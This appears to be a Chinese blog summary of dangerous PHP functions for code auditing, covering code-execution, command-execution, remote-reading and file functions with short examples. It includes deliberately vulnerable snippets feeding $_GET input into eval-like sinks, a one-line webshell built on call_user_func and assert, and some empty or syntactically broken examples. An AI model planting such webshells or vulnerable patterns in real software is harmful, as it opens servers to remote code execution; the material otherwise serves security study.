php危险函数总结

什么是危险函数

​ 函数设计出来就是让人使用的,之所以危险,是因为其功能过于强大。开发人员特别是刚从业的人员很少很少会完整阅读整个文档,再或者是没有意识到当给这些函数传递一些非常规的,外部可控的参数会带来什么影响。

1
2
3
4
5
6
7
$_GET            
$POST
$_fILES
$_COOKIE
$_REQUEST
$_SERVER
$_SESSION

执行任意代码的函数

  • eval函数
  • assert函数
  • create_function 函数
  • preg_replace 函数
  • call_user_func/call_user_func_array函数
  • array_map函数
  • array_filter函数
  • usort/uasort函数
  • $a($b)动态函数
eval函数

eval() 函数把字符串按照 PHP 代码来计算。

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

注释:return 语句会立即终止对字符串的计算。

提示:该函数对于在数据库文本字段中供日后计算而进行的代码存储很有用。

1
2
3
4
5
6
7
8
<?php
$string = "beautiful";
$time = "winter";
$str = 'This is a $string $time morning!';
eval("\$str = \"$str\";");
echo $str;

输出为:This is a beautiful winter morning!

简单的一句话木马:

assert函数

assert——检测一个 断言是否为FALSE

如果参数为字符串,它将会被assert()当做php代码来执行

版本只能为:5.x

1
2
3
4
5
6
7
<?php
function fo{
file_put_contents("shell.php", "<?php phpinfo() ?>");
return true;
}
$func=$_GET["func"];
assert("$func()");

如果我们提交?func=fo,即可写入shell.php

create_function函数

create_function(string $args, string $code)

适用范围:PHP 4> = 4.0.1PHP 5PHP 7

功能:根据传递的参数创建匿名函数,并为其返回唯一名称。

1
2
3
4
5
6
7
8
9
10
<?php

$id=$_GET['id'];

$str2='echo'.$a.'"test"'.$id.";";

$f1 = create_function('$a', $str2);

$f1("abc");
?>

preg_replace函数

preg_replace($pattern,$replacement,$subject,$limit,$count)

示例1:

1
2
3
<?php
preg_replace("/test/e", $_GET["a"], "this is a test");
?>

当我们所要匹配的字符串中含有test时

我们直接传入参数?a=phpinfo()即可执行代码。

示例2:

1
2
3
4
5
6
<?php
function test($str){
return $str;
}
echo preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", 'test("\1")', $_GET["h"]);
?>

call_user_func/call_user_func_array函数

call_user_func($callback,$parameter)

调用一个回调函数处理字符串,

call_user_func_array($callback,$param arr)

利用回调函数处理数组。

示例1:

示例2:

一句话木马:

1
2
3
<?php
@call_user_func("assert",$_GET['cmd']);
?>

array_map函数

array_map($callback,$array1)

​ 作用是为数组的每个元素应用回调函数 。其返回值为数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

1
2
3
4
5
6
7
8
9
<?php
$func=$_GET["func"];

$cmd=$_GET['cmd'];

$array[0]=$cmd;

$new_array=array_map($func,$array);
?>
array_filter函数

array_filter() 函数用回调函数过滤数组中的元素。

该函数把输入数组中的每个键值传给回调函数。如果回调函数返回 true,则把输入数组中的当前键值返回给结果数组。数组键名保持不变。

语法:array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

1
2
3
4
5
6
7
8
9
<?php
$cmd=$_GET['cmd'];

$array1=array($cmd);

$func=$_GET['func'];

array_filter($array1,$func);
?>
usort/uasort函数

usort

使用用户自定义的比较函数对数组中的值进行排序

usort(array, cmp_function);

uasort(array, cmp_function);

$a$b动态函数

读取网络资源的函数

常见的php读取远程文件的方式

  • Fopen()

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <?php
    $handle=fopen("http://www.baidu.com","rb");
    $contents="";
    while (!feof($handle)) {
    $contents .= fread($handle, 8192);

    }
    fclose($handle);
    echo $contents;
    ?>
  • file_get_content()
  • curl

php命令执行函数

system函数

system():执行外部程序,并且返回输出

shell_exec(没有回显的命令执行)

shell_exec():通过shell环境,并且将完整的输出以字符串方式返回

passthru函数

执行外部程序并且显示原始输出

exec函数

​ exec():执行一个外部程序

ob_start函数

操作文件的函数

常见文件操作函数

  • Copy()

copy() 函数拷贝文件

语法:copy(source,destination)

1
2
3
<?php
echo copy("source.txt","target.txt");
?>

输出1。

  • File_get_contents()/File_put_contents

    • file_get_contents() 把整个文件读入一个字符串中。

      语法:file_get_contents(path,include_path,context,start,max_length)

      1
      2
      3
      <?php
      echo file_get_contents("test.txt");
      ?>
    • file_put_contents() 函数把一个字符串写入文件中。

      语法:int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )

      1
      2
      3
      <?php
      echo file_put_contents("sites.txt","Runoob");
      ?>
  • File()

    • file() 函数把整个文件读入一个数组中。

      数组中的每个元素都是文件中相应的一行,包括换行符在内

      语法:file(path,include_path,context)

      1
      2
      3
      <?php
      print_r(file("test.txt"));
      ?>
  • Fopen()

    • open() 函数打开一个文件或 URL。

      如果 fopen() 失败,它将返回 FALSE 并附带错误信息。您可以通过在函数名前面添加一个 ‘@’ 来隐藏错误输出。

      语法:fopen(filename,mode,include_path,context)

      1
      2
      3
      4
      5
      6
      7
      <?php
      $file = fopen("test.txt","r");
      $file = fopen("/home/test/test.txt","r");
      $file = fopen("/home/test/test.gif","wb");
      $file = fopen("http://www.example.com/","r");
      $file = fopen("ftp://user:password@example.com/test.txt","w");
      ?>
  • Move_uploaded_file()

    • move_uploaded_file() 函数把上传的文件移动到新位置。

      如果成功该函数返回 TRUE,如果失败则返回 FALSE。

      语法:move_uploaded_file(file,newloc)

  • Readfile()

    • readfile() 函数读取一个文件,并写入到输出缓冲。

      语法:readfile(filename,include_path,context)

      1
      2
      3
      <?php
      echo readfile("test.txt");
      ?>
  • Rename()

    • rename() 函数重命名文件或目录。

      如果成功,该函数返回 TRUE。如果失败,则返回 FALSE。

      语法:rename(oldname,newname,context)

      1
      2
      3
      <?php
      rename("images","pictures");
      ?>
  • Unlink()

    • unlink() 函数删除文件。

      如果成功,该函数返回 TRUE。如果失败,则返回 FALSE。

      语法:unlink(filename,context)

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      <?php
      $file = "test.txt";
      if (!unlink($file))
      {
      echo ("Error deleting $file");
      }
      else
      {
      echo ("Deleted $file");
      }
      ?>
参考文章:

https://wh0ale.github.io/2019/08/21/php%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%8D%B1%E9%99%A9%E5%87%BD%E6%95%B0%E6%80%BB%E7%BB%93/

https://blog.csdn.net/qq_43431158/article/details/99673451

https://blog.csdn.net/zhezhebie/article/details/80508139